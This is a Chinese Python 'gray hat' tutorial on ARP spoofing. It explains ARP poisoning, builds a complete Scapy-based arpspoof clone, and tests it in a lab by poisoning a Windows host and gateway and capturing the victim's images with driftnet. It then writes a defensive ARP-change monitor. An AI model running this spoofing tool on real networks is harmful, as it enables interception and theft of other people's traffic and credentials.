Python灰帽编程 3.1 ARP欺骗
ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据监听、篡改、重放、钓鱼等攻击方式。
在进行ARP欺骗的编码实验之前,我们有必要了解下ARP和ARP欺骗的原理。
3.1.1 ARP和ARP欺骗原理
ARP是地址转换协议(Address Resolution Protocol)的英文缩写,它是一个链路层协议,工作在OSI 模型的第二层,在本层和硬件接口间进行联系,同时对上层(网络层)提供服务。我们知道二层的以太网交换设备并不能识别32位的IP地址,它们是以48位以太网地址(就是我们常说的MAC地址)传输以太网数据包的。也就是说IP数据包在局域网内部传输时并不是靠IP地址而是靠MAC地址来识别目标的,因此IP地址与MAC地址之间就必须存在一种对应关系,而ARP协议就是用来确定这种对应关系的协议。
ARP工作时,首先请求主机会发送出一个含有所希望到达的IP地址的以太网广播数据包,然后目标IP的所有者会以一个含有IP和MAC地址对的数据包应答请求主机。这样请求主机就能获得要到达的IP地址对应的MAC地址,同时请求主机会将这个地址对放入自己的ARP表缓存起来,以节约不必要的ARP通信。ARP缓存表采用了老化机制,在一段时间内如果表中的某一行没有使用,就会被删除。
局域网上的一台主机,如果接收到一个ARP报文,即使该报文不是该主机所发送的ARP请求的应答报文,该主机也会将ARP报文中的发送者的MAC地址和IP地址更新或加入到ARP表中。
ARP欺骗攻击就利用了这点,攻击者主动发送ARP报文,发送者的MAC地址为攻击者主机的MAC地址,发送者的IP地址为被攻击主机的IP地址。通过不断发送这些伪造的ARP报文,让局域网上所有的主机和网关ARP表,其对应的MAC地址均为攻击者的MAC地址,这样所有的网络流量都会发送给攻击者主机。由于ARP欺骗攻击导致了主机和网关的ARP表的不正确,这种情况我们也称为ARP中毒。
根据ARP欺骗者与被欺骗者之间的角色关系的不同,通常可以把ARP欺骗攻击分为如下两种:
- 主机型ARP欺骗:欺骗者主机冒充网关设备对其他主机进行欺骗
- 网关型ARP欺骗:欺骗者主机冒充其他主机对网关设备进行欺骗
图2
其实很多时候,我们都是进行双向欺骗,既欺骗主机又欺骗网关。
了解了基本原理之后,我们下面动手实现ARP欺骗程序。
3.1.2 基本网络信息
首先,我们来查看下当前虚拟机Kali Linux的网络配置和ARP缓存。
图3
如图5所示,Kali Linux 以太网卡为eth0,ip地址为192.168.1.102,MAC地址为00:0c:29:6e:98:a6。下面我们再查看Kali Linux的ARP缓存。
图4
下面再用同样的方法查看Windows 系统的信息。
图5
windows本身地址为192.168.1.18,同样缓存了路由器的地址。
下面我们将windows所在主机作为靶机,将Kali Linux所在虚拟机作为攻击机,进行编程测试。
3.1.3 构造ARP欺骗数据包
我们先完成第一个目标,告诉目标主机192.168.1.18网关的地址为Kali Linux所在主机的地址:192.168.1.102。
在程序的顶部,我们先导入scapy。
import sys
import time
from scapy.all import (
get_if_hwaddr,
getmacbyip,
ARP,
Ether,
sendp
)
注意这里面的几个方法,get_if_hwaddr为获取本机网络接口的函数,getmacbyip是通过ip地址获取其Mac地址的方法,ARP是构建ARP数据包的类,Ether用来构建以太网数据包,sendp方法在第二层发送数据包。
我们先解下Ether的参数:
图6
dst : DestMACField = (None)
src : SourceMACField = (None)
type : XShortEnumField = (36864)
构造一个以太网数据包通常需要指定目标和源MAC地址,如果不指定,默认发出的就是广播包,例如:
图7
再来了解下ARP类构造函数的参数列表:
图8
hwtype : XShortField = (1)
ptype : XShortEnumField = (2048)
hwlen : ByteField = (6)
plen : ByteField = (4)
op : ShortEnumField = (1)
hwsrc : ARPSourceMACField = (None)
psrc : SourceIPField = (None)
hwdst : MACField = ('00:00:00:00:00:00')
pdst : IPField = ('0.0.0.0')
构造ARP需要我们注意的有5个参数:
l op。取值为1或者2,代表ARP请求或者响应包。
l hwsrc。发送方Mac地址。
l psrc。发送方IP地址。
l hwdst。目标Mac地址。
l pdst。目标IP地址。
定向欺骗
现在来构造数据包就很容易了,回到我们最初的目标,我们想告诉192.168.1.23这台主机网关地址为192.168.1.102所在的主机,构造的数据包应该是这样的:
pkt = Ether(src=[1.102的MAC], dst=[1.18的Mac]) / ARP(1.102的MAC, 网关IP地址, hwdst=1.18MAC,pdst=1.18IP地址, op=2)
上面的代码我们不论是以太网数据包还是ARP数据包,我们都明确指定了来源和目标,在ARP数据包中,我们将Kali Linux的Mac地址和网关的IP地址进行了绑定,op取值为2,作为一个响应包被1. 18接到,这样1. 18会更新自己的ARP缓存表,造成中毒,从而1. 18发往网关的数据包都会被发往1.102。
那么我们如果要欺骗网关,把网关发往1.18的数据包都发送到Kali Linux(1.102)上,根据上面的代码稍作修改即可:
pkt = Ether(src=[1.102的MAC], dst=[网关的Mac]) / ARP(1.102的MAC, 1. 18地址, hwdst=网关MAC,pdst=网关IP地址, op=2)
上面构造的两个数据包都是ARP响应包,其实发送请求包也可以进行毒化,请求包毒化的原理是,我们请求时候使用假的源IP和MAC地址,目标主机同样会更新自己的路由表。
ARP请求的方式欺骗主机,构造的ARP包如下:
pkt = Ether(src=[1.102的MAC], dst=[1. 18的Mac]) / ARP(1.102的MAC, 网关IP地址, hwdst=1. 18MAC, pdst=1. 18IP地址, op=1)
ARP请求的方式欺骗网关,构造的ARP包如下:
pkt = Ether(src=[1.102的MAC], dst=[网关的Mac]) / ARP(1.102的MAC, 1. 18地址, hwdst=网关MAC,pdst=网关IP地址, op=1)
我们看到构造ARP请求和响应的主要区别在op的值。
目前我们欺骗的方式都是一对一欺骗的,事实上我们可以发送广播包,对所有主机进行欺骗。
广播欺骗
广播欺骗,首先以太网数据包直接构造一个广播包,ARP包不用填写目标主机的信息即可。
下面是ARP广播响应包的构造方式:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)
最后综合定下和广播欺骗的方式,我们总结一个公式出来:
pkt = Ether(src=攻击机MAC, dst=被欺骗主机(或网关)MAC) / ARP((hwsrc=毒化记录中的MAC, 毒化记录中的IP, hwdst=被欺骗主机MAC, pdst=被欺骗主机IP地址, op=1(或2))
概念有点绕,实践出真知。
3.1.4 发送数据包
数据包构造完成之后,我们要做的就是发送了,发送数据包这里我们使用sendp方法,该方法描述如下:
Send packets at layer 2
sendp(packets, [inter=0], [loop=0], [verbose=conf.verb]) -> None
和sendp方法类似的还有一个send方法,两个方法不同的是,sendp方法工作在第二层,send方法工作在第三层。发送构造好的数据包就很简单了:
sendp(pkt, inter=2, iface=网卡)
3.1.5 打造你的ARPSPOOF
ARP欺骗的核心内容我们已经讲完了,在Kali Linux上有一款常用的ARP欺骗工具叫arpspoof。
图9
(关于arpspoof的使用可以参考我的视频教程《kali linux 渗透测试初级教程》,文末有获取方法。)
虽然我们不知道arpspoof的内部实现代码,但是我们完全可以根据目前掌握的知识,用Python来实现它。废话少说,先上代码:
#!/usr/bin/python
import os
import sys
import signal
from scapy.all import (
get_if_hwaddr,
getmacbyip,
ARP,
Ether,
sendp
)
from optparse import OptionParser
def main():
try:
if os.geteuid() != 0:
print "[-] Run me as root"
sys.exit(1)
except Exception,msg:
print msg
usage = 'Usage: %prog [-i interface] [-t target] host'
parser = OptionParser(usage)
parser.add_option('-i', dest='interface', help='Specify the interface to use')
parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')
parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')
parser.add_option('-s', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
(options, args) = parser.parse_args()
if len(args) != 1 or options.interface is None:
parser.print_help()
sys.exit(0)
mac = get_if_hwaddr(options.interface)
def build_req():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt
def build_rep():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2)
return pkt
if options.mode == 'req':
pkt = build_req()
elif options.mode == 'rep':
pkt = build_rep()
if options.summary is True:
pkt.show()
ans = raw_input('\n[*] Continue? [Y|n]: ').lower()
if ans == 'y' or len(ans) == 0:
pass
else:
sys.exit(0)
while True:
sendp(pkt, inter=2, iface=options.interface)
if __name__ == '__main__':
main()
代码略微有一点多,不过核心内容没有离开我们上面讲到的内容,现在做个分解。
usage = 'Usage: %prog [-i interface] [-t target] host'
parser = OptionParser(usage)
parser.add_option('-i', dest='interface', help='Specify the interface to use')
parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')
parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')
parser.add_option('-s', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
(options, args) = parser.parse_args()
if len(args) != 1 or options.interface is None:
parser.print_help()
sys.exit(0)
首先,我们引入了optparse模块,用来格式化用户输入的参数,如果用户输入参数不正确,会打印使用说明。
图10
下面调用了get_if_hwaddr方法,根据参数中传入的网卡,获取本机MAC地址,该MAC地址在构建以太网和ARP数据包的时候做为攻击机的MAC地址被使用。
接下来是build_req方法,和build_rep方法,分别用来构建ARP请求和响应包。两个方法会检查是否指定了目标地址,如果没有就是广播欺骗,如果有就是定下欺骗。两个方法里面使用了getmacbyip方法来根据ip地址获取目标主机的MAC地址。构建数据包的原理我们上面讲的很清楚了,这里就不重复了。
再往下是根据输入的参数,判断应该构建的数据包类型,调用对应的方法。
if options.mode == 'req':
pkt = build_req()
elif options.mode == 'rep':
pkt = build_rep()
if options.summary is True:
pkt.show()
ans = raw_input('\n[*] Continue? [Y|n]: ').lower()
if ans == 'y' or len(ans) == 0:
pass
else:
sys.exit(0)
最后是发送数据包和程序的入口。
while True:
sendp(pkt, inter=2, iface=options.interface)
if __name__ == '__main__':
main()
程序准备妥当,我们保存源码,下面开始测试。
3.1.6 测试
在做ARP欺骗测试的时候,一定要先开启本机的IP转发功能,否则会失败的。执行如下命令:
sysctl net.ipv4.ip_forward=1
图11
下面我们打开终端,对192.168.1.18进行欺骗,告诉它网关为192.168.1.102所在的主机。
图12
在打开一个终端,对网关进行欺骗,告诉网关,192.168.1.18对应的主机为192.168.1.102.
python arp1.py -i eth0 -t 192.168.1.1 192.168.1.18
一段时间之后,我们发现,192.168.1.18的arp缓存发生了变化:
图13
对比图13和图5我们知道arp毒化成功。下面我们来看一下能发捕获到1.18的外网请求信息,使用常用的测试工具driftnet。
图14
下面在1.18上随便打开几个带有图片的网页。
图15
在drifnet上面我们可以看到捕获的图片信息,如图16所示。
图16
证明我们的arp欺骗程序编写成功。
3.1.7 在此基础上我们能做什么
上面的测试,我们知道基于ARP欺骗我们可以做数据监听,能拿到敏感信息,能拿到凭证进行重放攻击,能进行数据篡改,结合调用和DNS欺骗做很多事情。
关于进一步的实战利用,这里我就不展开了,在我的视频教程《Kali Linux web渗透测试基础教程》的第十四课《第14课-arp欺骗、嗅探、dns欺骗、session劫持》讲了很多实用的工具,可以在ARP欺骗的基础上做很多测试。只要在玄魂工作室的微信订阅号(在下方扫码关注)下回复“kali”,会自动回复你免费获取整套教程的方法。
3.1.8 小结
本节比较详细的讲解了基于Scapy进行ARP数据包构建和发送的基础知识,综合这些基础进行ARP欺骗的工具编写,最终完成了一个可用的ARP欺骗工具。
我们来实现一个ARP监控程序,该程序存储局域网中所有的IP和MAC对应关系,如果有新加入的机器会动态添加到列表中,如果有机器的ARP记录发生了变化,会发出警告。
实现这个程序的关键,只有一点,就是监听网络中ARP数据包。Scapy中的sniff方法可以满足我们对ARP监听的需求。
3.2.1 SNIFF方法
sniff方法是用来嗅探数据的,我们首先使用help查看一下此方法的使用说明:
图2
sniff(count=0, store=1, offline=None, prn=None, lfilter=None, L2socket=None, timeout=None, opened_socket=None, stop_filter=None, *arg, **karg)
Sniff packets
sniff([count=0,] [prn=None,] [store=1,] [offline=None,] [lfilter=None,] + L2ListenSocket args) -> list of packets
count: number of packets to capture. 0 means infinity
store: wether to store sniffed packets or discard them
prn: function to apply to each packet. If something is returned,
it is displayed. Ex:
ex: prn = lambda x: x.summary()
lfilter: python function applied to each packet to determine
if further action may be done
ex: lfilter = lambda x: x.haslayer(Padding)
offline: pcap file to read packets from, instead of sniffing them
timeout: stop sniffing after a given time (default: None)
L2socket: use the provided L2socket
opened_socket: provide an object ready to use .recv() on
stop_filter: python function applied to each packet to determine
if we have to stop the capture after this packet
ex: stop_filter = lambda x: x.haslayer(TCP)
sniff()函数有一个重要的参数是filter,用来表示想要捕获数据包类型的过滤器,如只捕获ICMP数据包,则filter=”ICMP”;只捕获80端口的TCP数据包,则filter=”TCP and (port 80)”。其他几个重要的参数有:count表示需要不活的数据包的个数;prn表示每个数据包处理的函数,可以是lambda表达式,如prn=lambda x:x.summary();timeout表示数据包捕获的超时时间。
sniff(filter="icmp and host 66.35.250.151", count=2)
这段代码过滤icmp协议,host地址为66.35.250.151,捕获数据包个数为2个。
sniff(iface="wifi0", prn=lambda x: x.summary())
这段代码绑定网卡wifi0,对捕获的数据包使用summary进行数据汇总。
sniff(iface="eth1", prn=lambda x: x.show())
这段代码绑定网卡eth1,对数据包调用show方法,显示基本信息。
如何使用sniff方法过滤ARP请求呢?看下面的代码:
图3
#!/usr/bin/python
from scapy import sniff,ARP
def watchArp(pkg):
pass
sniff(prn=watchArp,filter="arp",iface="eth0",store=0);
这段代码先定义了一个空的watchArp方法,接收一个数据包对象,稍后我们会扩展该方法,用来提取数据包中的关键信息。接下来一行调用sniff方法,prn参数为watchArp方法,sniff会把捕获的数据包传递给该方法;filter我们指定了arp;iface是指定要监听的网卡为“eth0”;store设置为0,不存储数据包。
数据包捕获就这样完成了,是不是体会到scapy的便捷性了呢?下面我们对捕获的数据包进行处理。
3.2.2 解析数据包
首先我们定义一个字典变量,用来存储ip和MAC的对应关系。
ip_mac = {}
然后,我们完善watchArp方法。
图4
首先对ARP包做类型判断。
if pkt[ARP].op == 2:
print pkt[ARP].hwsrc + " " + pkt[ARP].psrc
如果是ARP响应包,打印MAC地址和ip地址。紧接着判断ip地址是否存储过。
if ip_mac.get(pkt[ARP].psrc) == None:
print "Found new device " + \
pkt[ARP].hwsrc + " " + \
pkt[ARP].psrc
ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc
如果没有在我们的字典中,我们判断它是新加入网络的主机,打印出它的MAC和IP地址。如果在我们的字典中,但是MAC值不一样,肯定是某台机器变更了MAC地址,这是异常情况:
elif ip_mac.get(pkt[ARP].psrc) and ip_mac[pkt[ARP].psrc] != pkt[ARP].hwsrc:
print pkt[ARP].hwsrc + \
" has got new ip " + \
pkt[ARP].psrc + \
" (old " + ip_mac[pkt[ARP].psrc] + ")"
ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc
打印出现异常情况的主机,同时更新我们的字典。
3.2.3 完整代码
将上面的代码拼装在一起,就是一个完整的例子了:
#!/usr/bin/python
from scapy.all import sniff,ARP
from signal import signal,SIGINT
import sys
ip_mac = {}
def watchArp(pkt):
if pkt[ARP].op == 2:
print pkt[ARP].hwsrc + " " + pkt[ARP].psrc
# Device is new. Remember it.
if ip_mac.get(pkt[ARP].psrc) == None:
print "Found new device " + \
pkt[ARP].hwsrc + " " + \
pkt[ARP].psrc
ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc
# Device is known but has a different IP
elif ip_mac.get(pkt[ARP].psrc) and ip_mac[pkt[ARP].psrc] != pkt[ARP].hwsrc:
print pkt[ARP].hwsrc + \
" has got new ip " + \
pkt[ARP].psrc + \
" (old " + ip_mac[pkt[ARP].psrc] + ")"
ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc
sniff(prn=watchArp,filter="arp",iface="eth0",store=0);
下面我们运行看看效果: